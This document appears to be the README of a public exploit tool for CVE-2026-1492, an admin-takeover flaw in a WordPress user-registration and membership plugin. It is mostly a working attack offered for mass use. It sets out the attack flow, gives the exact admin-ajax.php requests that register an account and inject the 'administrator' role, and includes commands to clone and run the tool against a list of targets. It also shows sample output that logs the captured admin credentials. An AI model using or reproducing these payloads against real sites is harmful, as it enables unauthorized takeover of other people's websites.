[Discovery Phase]
  GET /membership-pricing/  →  Extract membership plan IDs
  GET /registration/        →  Extract form fields, nonces, AJAX params

        ↓

[Registration Phase — Flow A]
  POST /wp-admin/admin-ajax.php
  action=user_registration_user_form_submit
  → Register new user account

        ↓

[Role Injection Phase — Flow A]
  POST /wp-admin/admin-ajax.php
  action=user_registration_membership_register_member
  members_data={"role":"administrator", "membership":"<id>", ...}
  → Inject administrator role into newly created account

        ↓

[Admin Verification Phase]
  GET /wp-admin/  →  Check for admin dashboard indicators
  GET /wp-admin/plugin-install.php  →  Confirm plugin-install access

        ↓

[Fallback Override — Flow B]
  If Flow A admin check fails → repeat with fresh username/email

        ↓

[Write to Nx_admin.txt]
  Format: https://target.com/wp-login.php user:<u> pass:<p>

pip install requests urllib3 rich

pip install -r requirements.txt

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492

# Install dependencies
pip install -r requirements.txt

# Run the tool
python3 CVE-2026-1492.py

python3 CVE-2026-1492.py

https://target1.com
https://target2.com
http://target3.com/wordpress

Targets file [list.txt]: list.txt

Credentials:
  - Username prefix: random number is added per site (fresh user per target/plan/flow)
  - Email: if left empty, it will be built from the username automatically
  - Password: fixed for all sites

Username prefix (optional): Nxploited
Email (optional): 
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>

https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999

╔══════════════════════════════════════════════════════════════════════╗
║   CVE-2026-1492  |  User Registration & Membership — Admin PoC      ║
║   By: Nxploited  |  GitHub: github.com/Nxploited  |  @KNxploited    ║
╚══════════════════════════════════════════════════════════════════════╝

[INFO]   https://target.com
[OK]     https://target.com  |  REG-A-OK  user:Nxploited_A_482910 mem:3
[OK]     https://target.com  |  MEM-A-OK  membership A (role=administrator payload) sent
[OK]     https://target.com  |  ADMIN-A   user:Nxploited_A_482910 pass:Nx_12999 mem:3

┌─────────────────────────────��───────────────────────────────────────────────┐
│  Target                  │  Status           │  Note                        │
├─────────────────────────────────────────────────────────────────────────────┤
│  https://target.com      │  ✅ ADMIN-A       │  user:Nxploited_A_482910 ... │
│  https://target2.com     │  MEM-B-FAIL       │  membership not configured   │
│  https://target3.com     │  DEAD             │  connection error            │
└─────────────────────────────────────────────────────────────────────────────┘